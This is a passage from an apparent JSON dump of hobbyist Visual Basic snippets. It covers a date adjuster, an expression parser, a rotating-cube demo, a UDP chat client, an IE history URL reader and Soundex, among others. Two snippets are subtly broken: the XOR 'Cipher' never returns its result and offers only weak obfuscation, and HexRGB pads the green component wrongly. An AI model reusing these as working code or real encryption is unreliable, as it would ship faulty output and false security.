GoTo st1\nmoncode = moncode + 2\nst1:\nNext ff\nmoncode = 4\nff = 0\nFor ff = 1 To 5\nIf month1 = moncode Then\n If day1 > 30 Then\n day1 = day1 - 30: month1 = month1 + 1: GoTo eind\n Else: Exit Sub\n End If\nEnd If\nIf moncode = 6 Then moncode = 9: GoTo st2\nmoncode = moncode + 2\nst2:\nNext ff\nbasis = 1980\nschrikbasis = 2000\nFor e = 1 To 32000\nIf year1 = schrikbasis Then GoTo gewoon\nIf basis = schrikbasis Then schrikbasis = schrikbasis + 400\nIf year1 = basis Then If Month(Date) = 2 Then If day1 > 29 Then day1 = day1 - 29: month1 = month1 + 1: GoTo eind\nbasis = basis + 4\nNext e\ngewoon:\nIf month1 = 2 Then\nIf day1 > 28 Then\n day1 = day1 - 28: month1 = month1 + 1\n End If\n Else: Exit Sub\nEnd If\neind:\nGoTo start\neind1:\nEnd Sub\n"},{"WorldId":1,"id":985,"LineNumber":1,"line":"Option Explicit\nPrivate Const NON_NUMERIC = 1\nPrivate Const PARENTHESIS_EXPECTED = 2\nPrivate Const NON_NUMERIC_DESCR = \"Non numeric value\"\nPrivate Const PARENTESIS_DESCR = \"Parenthesis expected\"\nPrivate Token As Variant 'Current token\n'*********************************************************************\n'*\n'* RECURSIVE DESCENT PARSER FOR NUMERIC EXPRESSIONS\n'*\n'* The function parses an string and returns the result.\n'* If the string is empty the string \"Empty\" is returned.\n'* If an error occurs the string \"Error\" is returned.\n'*\n'* The parser handles numerical expression with parentheses\n'* unary operators + and -\n'*\n'* The following table gives the rules of precedence and associativity\n'* for the operators:\n'*\n'* Operators on the same line have the same precedence and all operators\n'* on a given line have higher precedence than those on the line below.\n'*\n'* -----------------------------------------------------------\n'* Operators Type of operation Associativity\n'* ( ) Expression Left to right\n'* + - Unary Right to left\n'* * / Multiplication division Left to right\n'* -----------------------------------------------------------\n'*\n'* Sven-Erik Dahlrot 100260.1721@compuserve.com\n'*\n'*********************************************************************\nPublic Function EvaluateString(expr As String) As String\n Dim result As Variant\n Dim s1 As String\n Dim s2 As String 'White space characters\n Dim s3 As String 'Operators\n \n s2 = \" \" & vbTab 'White space characters\n s3 = \"+-/*()\" 'Operators\n \n On Error GoTo EvaluateString_Error\n \n Token = getToken(expr, s2, s3) 'Initialize\n \n EvalExp result 'Evaluate expression\n \n EvaluateString = result\nExit Function\nEvaluateString_Error:\n EvaluateString = \"Error\"\nEnd Function\n'**** EVALUATE AN EXPRESSION\nPrivate Function EvalExp(ByRef data As Variant)\n \n If Token <> vbNull And Token <> \"\" Then\n EvalExp2 data\n Else\n data = \"Empty\"\n End If\nEnd Function\n'* ADD OR SUBTRACT TERMS\nPrivate Function EvalExp2(ByRef data As Variant)\n Dim op As String\n Dim tdata As Variant\n \n EvalExp3 data\n \n op = Token\n Do While op = \"+\" Or op = \"-\"\n Token = getToken(Null, \"\", \"\")\n EvalExp3 tdata\n \n Select Case op\n \n Case \"+\"\n data = Val(data) + Val(tdata)\n Case \"-\"\n data = Val(data) - Val(tdata)\n End Select\n \n op = Token\n Loop\nEnd Function\n'**** MULTIPLY OR DIVIDE FACTORS\nPrivate Function EvalExp3(ByRef data As Variant)\n Dim op As String\n Dim tdata As Variant\n \n EvalExp4 data\n \n op = Token\n Do While op = \"*\" Or op = \"/\"\n Token = getToken(Null, \"\", \"\")\n EvalExp4 tdata\n Select Case op\n Case \"*\"\n data = Val(data) * Val(tdata)\n Case \"/\"\n data = Val(data) / Val(tdata)\n End Select\n \n op = Token\n Loop\nEnd Function\n'**** UNARY EXPRESSION\nPrivate Function EvalExp4(ByRef data As Variant)\n Dim op As String\n \n If Token = \"+\" Or Token = \"-\" Then\n op = Token\n Token = getToken(Null, \"\", \"\")\n End If\n \n EvalExp5 data\n \n If op = \"-\" Then data = -Val(data)\n \n End Function\n'**** PROCESS PARENTHESIZED EXPRESSION\nPrivate Function EvalExp5(ByRef data As Variant)\n \n If Token = \"(\" Then\n Token = getToken(Null, \"\", \"\")\n EvalExp data 'Subexpression\n If Token <> \")\" Then\n Err.Raise vbObjectError + PARENTHESIS_EXPECTED, \"Expression parser\", PARENTESIS_DESCR\n End If\n \n Token = getToken(Null, \"\", \"\")\n Else\n EvalAtom data\n End If\nEnd Function\n'* GET VALUE\nPrivate Function EvalAtom(ByRef data As Variant)\n If IsNumeric(Token) Then\n data = Token\n Else\n Err.Raise vbObjectError + NON_NUMERIC, \"Expression parser\", NON_NUMERIC_DESCR\n End If\n Token = getToken(Null, \"\", \"\")\nEnd Function\n'****************************************************************\n'*\n'* Tokenizer function\n'*\n'*\n'* When first time called s1 must contain the string to be tokenized\n'* and s2, s3 the delimites and operators, otherwise s1 should be Null\n'* and s2,s3 empty strings \"\"\n'*\n'* s2 contains delimiters\n'* s3 contains operators that act as both delimiters and tokens\n'*\n'* If no delimiter can be found in s1 the whole local copy is returned\n'* If there are no more tokens left, Null is returned\n'* If one delimiter follows another, the empty string \"\" is returned\n'*\n'* s1 is declared as Variant, because VB doesn't like to assign Null to a string.\n'*\n'****************************************************************\nPublic Function getToken(s1 As Variant, s2 As String, s3 As String) As Variant\n Static stmp As Variant\n Static wspace As String\n Static operators As String\n Dim i As Integer\n Dim schr As String\n \n getToken = Null\n \n 'Initialize first time calling\n If s1 <> \"\" Then\n stmp = s1\n wspace = s2\n operators = s3\n End If\n 'Nothing left to tokenize!\n If VarType(stmp) = vbNull Then\n Exit Function\n End If\n 'Loop until we find a delimiter or operator\n For i = 1 To Len(stmp)\n schr = Mid$(stmp, i, 1)\n If InStr(1, wspace, schr, vbTextCompare) = 0 Then 'White space\n If InStr(1, operators, schr, vbTextCompare) Then 'Operator\n getToken = Mid$(stmp, i, 1) 'Get it\n stmp = Mid(stmp, i + 1, Len(stmp))\n Exit Function\n Else 'It is a numeric value\n getToken = \"\"\n schr = Mid$(stmp, i, 1)\n Do While (schr >= \"0\" And schr <= \"9\") Or schr = \".\"\n getToken = getToken & schr\n i = i + 1\n schr = Mid$(stmp, i, 1)\n Loop\n If IsNumeric(getToken) Then\n stmp = Mid$(stmp, i, Len(stmp))\n Exit Function\n End If\n End If\n End If\n Next i\n 'No tokens was found, return whatever is left in stmp\n \n getToken = stmp\n stmp = Null\n \nEnd Function\n"},{"WorldId":1,"id":989,"LineNumber":1,"line":"Sub FloatingForm(frmParent as Form, frmFloater as form)\n frmFloater.show ,frmParent\nEnd sub"},{"WorldId":1,"id":995,"LineNumber":1,"line":"sub form_load()\nme.left = (screen.width / 2) - (me.width / 2)\nme.top = (screen.height / 2) - (me.height / 2)\nend sub"},{"WorldId":1,"id":9773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1008,"LineNumber":1,"line":"\n------======== start copying AFTER this line ======---------\nVERSION 5.00\nBegin VB.Form frmMain \n AutoRedraw = -1 'True\n BackColor = &H00C0C0C0&\n Caption = \"Rotating Cube DEMO\"\n ClientHeight = 3195\n ClientLeft = 60\n ClientTop = 345\n ClientWidth = 4680\n FillColor = &H00C0C0C0&\n ForeColor = &H00FF0000&\n LinkTopic = \"Form1\"\n ScaleHeight = 213\n ScaleMode = 3 'Pixel\n ScaleWidth = 312\n StartUpPosition = 3 'Windows Default\n WindowState = 2 'Maximized\n Begin VB.PictureBox Picture1 \n BackColor = &H00FFFFFF&\n BorderStyle = 0 'None\n Height = 1140\n Left = -1035\n ScaleHeight = 76\n ScaleMode = 3 'Pixel\n ScaleWidth = 772\n TabIndex = 0\n Top = 1440\n Width = 11580\n Begin VB.Label Label1 \n AutoSize = -1 'True\n Caption = \"Move the mouse towards the edges of the form to adjust rotation and speed\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 12\n Charset = 161\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 300\n Left = 0\n TabIndex = 1\n Top = 0\n Width = 9135\n End\n End\n Begin VB.Timer Timer1 \n Interval = 1\n Left = 3825\n Top = 2835\n End\nEnd\nAttribute VB_Name = \"frmMain\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nPrivate X(8) As Integer\nPrivate y(8) As Integer\nPrivate Const Pi = 3.14159265358979\nPrivate CenterX As Integer\nPrivate CenterY As Integer\nPrivate Const SIZE = 250\nPrivate Radius As Integer\nPrivate Angle As Integer\nPrivate CurX As Integer\nPrivate CurY As Integer\nPrivate CubeCorners(1 To 8, 1 To 3) As Integer\n\nPrivate Sub Form_Load()\nShow\nWith Picture1\n.Width = Label1.Width\n.Height = Label1.Height\nEnd With\nPicture1.Move ScaleWidth / 2 - Picture1.ScaleWidth / 2, Picture1.Height\nCenterX = ScaleWidth / 2\nCenterY = ScaleHeight / 2\nAngle = 0\nRadius = Sqr(2 * (SIZE / 2) ^ 2)\nCubeCorners(1, 2) = SIZE / 2\nCubeCorners(2, 2) = SIZE / 2\nCubeCorners(3, 2) = -SIZE / 2\nCubeCorners(4, 2) = -SIZE / 2\nCubeCorners(5, 2) = SIZE / 2\nCubeCorners(6, 2) = SIZE / 2\nCubeCorners(7, 2) = -SIZE / 2\nCubeCorners(8, 2) = -SIZE / 2\nEnd Sub\nPrivate Sub DrawCube()\nCls\nFor i = 1 To 8\nX(i) = CenterX + CubeCorners(i, 1) - CubeCorners(i, 3) / 8\ny(i) = CenterY + CubeCorners(i, 2) + CubeCorners(i, 3) / 8\nNext\nLine (X(3), y(3))-(X(4), y(4))\nLine (X(4), y(4))-(X(8), y(8))\nLine (X(3), y(3))-(X(7), y(7))\nLine (X(7), y(7))-(X(8), y(8))\nLine (X(1), y(1))-(X(3), y(3))\nLine (X(1), y(1))-(X(2), y(2))\nLine (X(5), y(5))-(X(6), y(6))\nLine (X(5), y(5))-(X(1), y(1))\nLine (X(5), y(5))-(X(7), y(7))\nLine (X(6), y(6))-(X(8), y(8))\nLine (X(2), y(2))-(X(4), y(4))\nLine (X(2), y(2))-(X(6), y(6))\nLine (X(1), y(1))-(X(4), y(4))\nLine (X(2), y(2))-(X(3), y(3))\nLine (X(4), y(4))-(X(8), y(8))\nLine (X(3), y(3))-(X(7), y(7))\nDoEvents\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, y As Single)\nCurX = X\nCurY = y\nEnd Sub\nPrivate Sub Timer1_Timer()\nSelect Case CurX\nCase Is > ScaleWidth / 2\nAngle = Angle + Abs(CurX - ScaleWidth / 2) / 20\nIf Angle > 360 Then Angle = 0\nCase Else\nAngle = Angle - Abs(CurX - ScaleWidth / 2) / 20\nIf Angle < 0 Then Angle = 360\nEnd Select\nFor i = 1 To 3 Step 2\nCubeCorners(i, 3) = Radius * Cos((Angle) * Pi / 180)\nCubeCorners(i, 1) = Radius * Sin((Angle) * Pi / 180)\nNext\nFor i = 2 To 4 Step 2\nCubeCorners(i, 3) = Radius * Cos((Angle + 2 * 45) * Pi / 180)\nCubeCorners(i, 1) = Radius * Sin((Angle + 2 * 45) * Pi / 180)\nNext\nFor i = 5 To 7 Step 2\nCubeCorners(i, 3) = Radius * Cos((Angle + 6 * 45) * Pi / 180)\nCubeCorners(i, 1) = Radius * Sin((Angle + 6 * 45) * Pi / 180)\nNext\nFor i = 6 To 8 Step 2\nCubeCorners(i, 3) = Radius * Cos((Angle + 4 * 45) * Pi / 180)\nCubeCorners(i, 1) = Radius * Sin((Angle + 4 * 45) * Pi / 180)\nNext\nDrawCube\nEnd Sub\n\n-----==== paste the above into a text file and save it with\nan FRM suffix in ASCII format.Then just load the FRM file\nin the VB5 enviroment =========-------------------------"},{"WorldId":1,"id":1310,"LineNumber":1,"line":"Public Function Cipher(PlainText, Secret)\nDim a, b, c\nDim pTb, cTb, cT\nFor i = 1 To Len(PlainText)\n pseudoi = i Mod Len(Secret)\n If pseudoi = 0 Then pseudoi = 1\n a = Mid(Secret, pseudoi, 1)\n b = Mid(Secret, pseudoi + 1, 1)\n c = Asc(a) Xor Asc(b)\n pTb = Mid(PlainText, i, 1)\n cTb = c Xor Asc(pTb)\n cT = cT + Chr(cTb)\n Form1.Label1.Caption = i\n DoEvents\nNext i\nEnCipher = cT\nEnd Function"},{"WorldId":1,"id":2413,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function RegCloseKey Lib \"advapi32.dll\" (ByVal hKey As Long) As Long\nPrivate Declare Function RegOpenKeyEx Lib \"advapi32.dll\" Alias \"RegOpenKeyExA\" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long\nPrivate Declare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long\nPrivate Type TypesOfClient\nMail As String\nNews As String\nCalendar As String\nContacts As String\nInternet_Call As String\nEnd Type\n'Get the registry keys for the programs location\nFunction GetReg(hInKey As Long, ByVal subkey As String, ByVal valname As String)\nDim RetVal As String, hSubKey As Long, dwType As Long\nDim SZ As Long, v As String, r As Long\nRetVal = \"\"\nr = RegOpenKeyEx(hInKey, subkey, 0, 983139, hSubKey)\nIf r <> 0 Then GoTo Ender\nSZ = 256: v = String(SZ, 0)\nr = RegQueryValueEx(hSubKey, valname, 0, dwType, ByVal v, SZ)\nIf r = 0 And dwType = 1 Then\nRetVal = Left(v$, SZ - 1)\nElse\nRetVal = \"\"\nEnd If\nIf hInKey = 0 Then r = RegCloseKey(hSubKey)\nEnder:\nGetReg = RetVal\nEnd Function\n\nPrivate Function GetClient() As TypesOfClient\nStatic KeyName As String, O(5) As String, i As Byte, d As String\nO(1) = \"Mail\"\nO(2) = \"News\"\nO(3) = \"Calendar\"\nO(4) = \"Contacts\"\nO(5) = \"Internet Call\"\n'In this tedious method I have to get all 5.\nFor i = 1 To 5\nKeyName = \"Software\\Clients\\\" + O(i) + \"\\\"\nd = GetReg(&H80000002, KeyName, \"\")\nKeyName = KeyName + d + \"\\Shell\\Open\\Command\\\"\nd = GetReg(&H80000002, KeyName, \"\")\nO(i) = d\nNext i\n'Set the values to where the programs were found.\nGetClient.Mail = O(1)\nGetClient.News = O(2)\nGetClient.Calendar = O(3)\nGetClient.Contacts = O(4)\nGetClient.Internet_Call = O(5)\nEnd Function\nPrivate Sub Form_Load()\n'Run the mail client\nShell GetClient.Mail\nEnd Sub\n"},{"WorldId":1,"id":1015,"LineNumber":1,"line":"Private Function HexRGB(lCdlColor As Long)\n Dim lCol As Long\n Dim iRed, iGreen, iBlue As Integer\n Dim vHexR, vHexG, vHexB As Variant\n \n 'Break out the R, G, B values from the common dialog color\n lCol = lCdlColor\n iRed = lCol Mod &H100\n lCol = lCol \\ &H100\n iGreen = lCol Mod &H100\n lCol = lCol \\ &H100\n iBlue = lCol Mod &H100\n \n 'Determine Red Hex\n vHexR = Hex(iRed)\n If Len(vHexR) < 2 Then\n vHexR = \"0\" & vHexR\n End If\n \n 'Determine Green Hex\n vHexG = Hex(iGreen)\n If Len(vHexG) < 2 Then\n vHexG = \"0\" & iGreen\n End If\n \n 'Determine Blue Hex\n vHexB = Hex(iBlue)\n If Len(vHexB) < 2 Then\n vHexB = \"0\" & vHexB\n End If\n 'Add it up, return the function value\n HexRGB = \"#\" & vHexR & vHexG & vHexB\nEnd Function"},{"WorldId":1,"id":1029,"LineNumber":1,"line":"Private Sub cmdC_Click()\n If Len(txtNick) < 1 Then 'make sure there is a nickname entered\n MsgBox \"You must enter a nickname first!\"\n txtNick.SetFocus 'put the cursor in the nickname textbox\n Exit Sub\n End If\n \n If Len(txtHost) < 1 Or Len(txtLocalP) < 1 Or Len(txtRemoteP) < 1 Then\n MsgBox \"Please make sure a Host, a Local Port, and a Remote Port have been entered!\"\n Exit Sub\n End If\n sckSend.RemoteHost = txtHost 'set the host\n sckSend.LocalPort = txtLocalP 'set the local port\n sckSend.RemotePort = txtRemoteP 'set the remote port\n sckSend.Bind 'Connect!\n cmdSend.Enabled = True 'Enable the send button\n txtNick.Enabled = False 'Make it so you can't change your nickname\n txtSend.SetFocus 'you have been connected. put the cursor in the send textbox\nEnd Sub\nPrivate Sub cmdD_Click()\n'The disconnect button was pushed.\nEnd\nEnd Sub\nPrivate Sub cmdSend_Click()\n'The Send button was pushed\nsckSend.SendData txtNick.Text & \": \" & txtSend.Text & Chr$(13) & Chr$(10) 'Send whatever is wrtten in txtSend to the other person's chatroom.\ntxtMain.Text = txtMain.Text & txtNick.Text & \": \" & txtSend.Text & Chr$(13) & Chr$(10) 'Put it in your chatroom\ntxtMain.SelStart = Len(txtMain) 'scroll that chatroom down\ntxtSend.Text = \"\" 'clear the send textbox\nEnd Sub\nPrivate Sub Form_Load()\nsckSend.Protocol = sckUDPProtocol 'set protocol. For this type of chat, we are using UDP\ncmdSend.Enabled = False\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nEnd\nEnd Sub\nPrivate Sub sckSend_DataArrival(ByVal bytesTotal As Long)\n'We have received data!\nDim TheData As String\nOn Error GoTo ClearChat\nsckSend.GetData TheData, vbString 'extract the data\ntxtMain.Text = txtMain.Text & TheData 'add the data to our chatroom\ntxtMain.SelStart = Len(txtMain) 'scroll that chatroom down\nExit Sub\nClearChat:\nMsgBox \"Chat room ran out of memory and must be cleared!\"\ntxtMain.Text = \"\"\nEnd Sub\nPrivate Sub sckSend_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\nMsgBox \"An error occurred in winsock!\"\nEnd\nEnd Sub\n"},{"WorldId":1,"id":1177,"LineNumber":1,"line":"Function LatLonDistance(ByVal dbLat1 As Double, _\n ByVal dbLon1 As Double, _\n ByVal dbLat2 As Double, _\n ByVal dbLon2 As Double, _\n ByVal stUnits As String) As Double\nDim loRadiusOfEarth As Long\nDim dbDeltaLat As Double\nDim dbDeltaLon As Double\nDim dbTemp As Double\nDim dbTemp2 As Double\n 'Set the radius of the earth in the selected units\n Select Case UCase(stUnits)\n Case \"MI\" ' Miles\n loRadiusOfEarth = 3956\n Case \"FT\" ' Feet\n loRadiusOfEarth = 20887680\n Case \"YD\" ' Yards\n loRadiusOfEarth = 6962560\n Case \"KM\" ' Kilometers\n loRadiusOfEarth = 6367\n Case \"M\" ' Meters\n loRadiusOfEarth = 6367000\n Case Else ' Error\n LatLonDistance = -1\n Exit Function\n End Select\n 'Calculate the Delta of the of the Longitudes and Latitudes and\n 'subtract the destination point from the starting point\n dbDeltaLon = AsRadians(dbLon2) - AsRadians(dbLon1)\n dbDeltaLat = AsRadians(dbLat2) - AsRadians(dbLat1)\n 'Intermediate values...\n dbTemp = Sin2(dbDeltaLat / 2) + _\n Cos(AsRadians(dbLat1)) * _\n Cos(AsRadians(dbLat2)) * _\n Sin2(dbDeltaLon / 2)\n \n 'The temp value dbTemp2 is the great circle distance in radians\n dbTemp2 = 2 * Arcsin(GetMin(1, Sqr(dbTemp)))\n 'Multiply the radians by the radius to get the distance in specified units\n LatLonDistance = loRadiusOfEarth * dbTemp2\nEnd Function\nPrivate Function Arcsin(ByVal X As Double) As Double\n Arcsin = Atn(X / Sqr(-X * X + 1))\nEnd Function\nPrivate Function AsRadians(ByVal pDb_Degrees As Double) As Double\nConst vbPi = 3.14159265358979\n 'To convert decimal degrees to radians, multiply\n 'the number of degrees by pi/180 = 0.017453293 radians/degree\n AsRadians = pDb_Degrees * (vbPi / 180)\nEnd Function\nPrivate Function GetMin(ByVal X As Double, ByVal Y As Double) As Double\n \n If X <= Y Then\n GetMin = X\n Else\n GetMin = Y\n End If\n \nEnd Function\nPrivate Function Sin2(ByVal X As Double) As Double\n Sin2 = (1 - Cos(2 * X)) / 2\n \nEnd Function\nFunction RoundNum(Num As Double) As Double\n'This function rounds a floating point number to nearest whole\n'number, a function which is sadly lacking from VB.\n If Int(Num + 0.5) > Num Then\n RoundNum = Int(Num + 0.5)\n Else\n RoundNum = Int(Num)\n End If\n \nEnd Function"},{"WorldId":1,"id":1051,"LineNumber":1,"line":"Directory = \"C:\\\"\nShell \"Explorer \" + Directory, vbNormalFocus\n' The above code opens the C:\\ directory as a new window"},{"WorldId":1,"id":5198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1104,"LineNumber":1,"line":"Private Sub Command1_Click()\n \n Dim iDisplacement As Integer\n Dim iURLCount As Integer\n Dim sDelimiter As String\n Dim sData As String\n Dim sURLs(1 To 1000) As String\n Dim IEHistoryFile As String\n Dim i As Long\n Dim j As Long\n Dim x As Integer\n \n 'For the Index.dat file the displacement is set to 119 for other files I 'have set the displacement to 15.\n \n iDisplacement = 119 'Index.dat = 119\n sDelimiter = \"URL \" '\"Visited: \"\n IEHistoryFile = \"index.dat\" 'Could also me an MM DAT file in History folder\n \n 'For the Index.dat file the delimiter, or search string, is \"URL \"\n 'For other files I have used \"Visited: \"\n \n \n \n 'This is the History DAT file. I use Index.dat for this example, but there are MM files\n \n \n Open \"c:\\windows\\history\\\" & IEHistoryFile For Binary As #1\n \n sData = Space$(LOF(1)) 'Data Buffer\n \n Get #1, , sData 'Places all data from file into buffer , sData\n \n Close #1 'Closes file\n \n \n \n i = InStr(i + 1, sData, sDelimiter) 'Looks for sdelimiter in sdata\n \n iURLCount = 0 'Sets URLCount to 0 because this is the beginning for the file\n \n While i < Len(sData)\n \n iURLCount = iURLCount + 1 'Keeps a count of how manu URLs are in the file\n \n If i > 0 Then\n j = InStr(i + iDisplacement - 1, sData, Chr$(0))\n 'Place URL in an array\n sURLs(iURLCount) = Mid$(sData, i + iDisplacement, j - (i + iDisplacement))\n End If\n \n i = InStr(i + 1, sData, sDelimiter) 'Index = URL\n \n If i = 0 Then GoTo EndURLs 'If there are no more URLs then stop looping\n \n Wend\n \nEndURLs:\n \n 'This prints all URLs in Array in the debug window so you can see them\n For x = 1 To iURLCount\n Debug.Print sURLs(x)\n Next x\n \n \nEnd Sub\n"},{"WorldId":1,"id":1061,"LineNumber":1,"line":"'***********************************************************************\n'Function Name: ConvertToSoundex\n'Argument: A single name or word string\n'Return value: A 4 character code based on Soundex rules\n'Author: Darrell Sparti\n'EMail: dsparti@allwest.net\n'Date: 9-20-98\n'Description: All Soundex codes have 4 alphanumeric\n' characters, no more and no less, regardless\n' of the length of the string. The first\n' character is a letter and the other 3 are\n' numbers. The first letter of the string is\n' the first letter of the Soundex code. The\n' 3 digits are defined sequentially from the\n' string using the following key:\n' 1 = bpfv\n' 2 = cskgjqxz\n' 3 = dt\n' 4 = l\n' 5 = mn\n' 6 = r\n' No Code = aehiouyw\n' If the end of the string is reached before\n' filling in 3 numbers, 0's complete the code.\n' Example: Swartz = S632\n' Example: Darrell = D640\n' Example: Schultz = S432\n'NOTE: I have noticed some errors in other versions\n' of soundex code. Most noticably is the\n' fact that not only must the code ignore\n' the second letter in repeating letters\n' (ll,rr,tt,etc. for example), it must also\n' ignore letters next to one another with the\n' same soundex code (s and c for example).\n' Other wise, in the example above, Schultz\n' would return a value of S243 which is\n' incorrect.\n'********************************************************************\nOption Explicit\nPublic Function ConvertToSoundex(sInString As String) As String\n Dim sSoundexCode As String\n Dim sCurrentCharacter As String\n Dim sPreviousCharacter As String\n Dim iCharacterCount As Integer\n \n 'Convert the string to upper case letters and remove spaces\n sInString = UCase$(Trim(sInString))\n \n 'The soundex code will start with the first character _\n of the string\n sSoundexCode = Left(sInString, 1)\n \n 'Check the other characters starting at the second character\n iCharacterCount = 2\n \n 'Continue the conversion until the soundex code is 4 _\n characters long regarless of the length of the string\n Do While Not Len(sSoundexCode) = 4\n \n 'If the previous character has the same soundex code as _\n current character or the previous character is the same _\n as the current character, ignor it and move onto the next\n \n sCurrentCharacter = Mid$(sInString, iCharacterCount, 1)\n sPreviousCharacter = Mid$(sInString, iCharacterCount - 1, 1)\n \n If sCurrentCharacter = sPreviousCharacter Then\n iCharacterCount = iCharacterCount + 1\n ElseIf InStr(\"BFPV\", sCurrentCharacter) Then\n If InStr(\"BFPV\", sPreviousCharacter) Then\n iCharacterCount = iCharacterCount + 1\n End If\n ElseIf InStr(\"CGJKQSXZ\", sCurrentCharacter) Then\n If InStr(\"CGJKQSXZ\", sPreviousCharacter) Then\n iCharacterCount = iCharacterCount + 1\n End If\n ElseIf InStr(\"DT\", sCurrentCharacter) Then\n If InStr(\"DT\", sPreviousCharacter) Then\n iCharacterCount = iCharacterCount + 1\n End If\n ElseIf InStr(\"MN\", sCurrentCharacter) Then\n If InStr(\"MN\", sPreviousCharacter) Then\n iCharacterCount = iCharacterCount + 1\n End If\n Else\n End If\n \n 'If the end of the string is reached before there are 4 _\n characters in the soundex code, add 0 until there are _\n a total of 4 characters in the code\n If iCharacterCount > Len(sInString) Then\n sSoundexCode = sSoundexCode & \"0\"\n \n 'Otherwise, concatenate a number to the soundex code _\n base on soundex rules\n Else\n sCurrentCharacter = Mid$(sInString, iCharacterCount, 1)\n If InStr(\"BFPV\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"1\"\n ElseIf InStr(\"CGJKQSXZ\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"2\"\n ElseIf InStr(\"DT\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"3\"\n ElseIf InStr(\"L\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"4\"\n ElseIf InStr(\"MN\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"5\"\n ElseIf InStr(\"R\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"6\"\n Else\n End If\n End If\n \n 'Check the next letter\n iCharacterCount = iCharacterCount + 1\n Loop\n \n 'Return the soundex code for the string\n ConvertToSoundex = sSoundexCode\nEnd Function\n"},{"WorldId":1,"id":3716,"LineNumber":1,"line":"Option Explicit\n'\n'Unlike the Shell command in VB which launches an application\n'asynchronous, this will launch the program synchronous.\n'What that means is that the shell execute command will launch\n'an application but not wait for it to execute before processing\n'the next line of code. This code will launch a program then\n'wait until the executable has terminated before executing the\n'next line of code. Works great for launching DOS exe's such\n'as batch files, reindexing old databases, and other executables\n'which must perform their task before your code continues.\n'Some versions don't work in Windows NT because of the added\n'security but this version does work in Windows NT.\n'I realize there are more elegant and sophisticated ways to do\n'the same thing but this one works fine for what I needed in a\n'professional application I was working on. I must credit Dan\n'Appleman's Programmer's Guide To The Win32 API for this code.\n'I also strongly suggest that anyone interested in understanding\n'more about these kind of techniques, read his book. In fact,\n'I recommend all of Dan Appleman's books when you are ready to\n'go from novice to professional programmer.\n'I appreciate your comments but please do your homework first!\n\nPublic Function LaunchAppSynchronous(strExecutablePathAndName As String) As Boolean\n \n 'Launches an executable by starting it's process\n 'then waits for the execution to complete.\n 'INPUT: The executables full path and name.\n 'RETURN: True upon termination if successful, false if not.\n \n Dim lngResponse As Long\n Dim typStartUpInfo As STARTUPINFO\n Dim typProcessInfo As PROCESS_INFORMATION\n \n LaunchAppSynchronous = False\n \n With typStartUpInfo\n .cb = Len(typStartUpInfo)\n .lpReserved = vbNullString\n .lpDesktop = vbNullString\n .lpTitle = vbNullString\n .dwFlags = 0\n End With\n \n 'Launch the application by creating a new process\n lngResponse = CreateProcessByNum(strExecutablePathAndName, vbNullString, 0, 0, True, NORMAL_PRIORITY_CLASS, ByVal 0&, vbNullString, typStartUpInfo, typProcessInfo)\n \n If lngResponse Then\n 'Wait for the application to terminate before moving on\n Call WaitForTermination(typProcessInfo)\n LaunchAppSynchronous = True\n Else\n LaunchAppSynchronous = False\n End If\n \nEnd Function\n\nPrivate Sub WaitForTermination(typProcessInfo As PROCESS_INFORMATION)\n 'This wait routine allows other application events\n 'to be processed while waiting for the process to\n 'complete.\n Dim lngResponse As Long\n 'Let the process initialize\n Call WaitForInputIdle(typProcessInfo.hProcess, INFINITE)\n 'We don't need the thread handle so get rid of it\n Call CloseHandle(typProcessInfo.hThread)\n 'Wait for the application to end\n Do\n lngResponse = WaitForSingleObject(typProcessInfo.hProcess, 0)\n If lngResponse <> WAIT_TIMEOUT Then\n 'No timeout, app is terminated\n Exit Do\n End If\n DoEvents\n Loop While True\n \n 'Kill the last handle of the process\n Call CloseHandle(typProcessInfo.hProcess)\n \nEnd Sub"},{"WorldId":1,"id":1064,"LineNumber":1,"line":"'This example uses the MsgHook OCX but any similar OCX would also work\n'iAtom stores the id used by the hotkey. If you have more then one hot key, use one atom for each\nDim iAtom As Integer\nPrivate Sub Form_Load()\n Dim res As Long\n 'Get a value for atom \n iAtom = GlobalAddAtom(\"MyHotKey\")\n 'Register the Ctrl-Alt-T key combination as the hotkey\n res = RegisterHotKey(Me.hwnd, iAtom, MOD_ALT + MOD_CTRL, vbKeyT)\n 'Setup msghook to receive the WM_HOTKEY message \n Msghook1.HwndHook = Me.hwnd\n Msghook1.Message(WM_HOTKEY) = True\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Dim res As Long\n 'Remove the hotkey and delete the atom\n res = UnregisterHotKey(Me.hwnd, iAtom)\n res = GlobalDeleteAtom(iAtom)\nEnd Sub\nPrivate Sub Msghook1_Message(ByVal msg As Long, ByVal wp As Long, ByVal lp As Long, result As Long)\n If msg = WM_HOTKEY Then\n If wp = iAtom Then\n 'Do your thang...\n MsgBox \"Boing!!!\"\n End If\n End If\n Msghook1.InvokeWindowProc msg, wp, lp\nEnd Sub"},{"WorldId":1,"id":1069,"LineNumber":1,"line":"' #VBIDEUtils#************************************************************\n' * Programmer Name : Waty Thierry\n' * Web Site : www.geocities.com/ResearchTriangle/6311/\n' * E-Mail : waty.thierry@usa.net\n' * Date : 24/09/98\n' * Time : 15:38\n' * 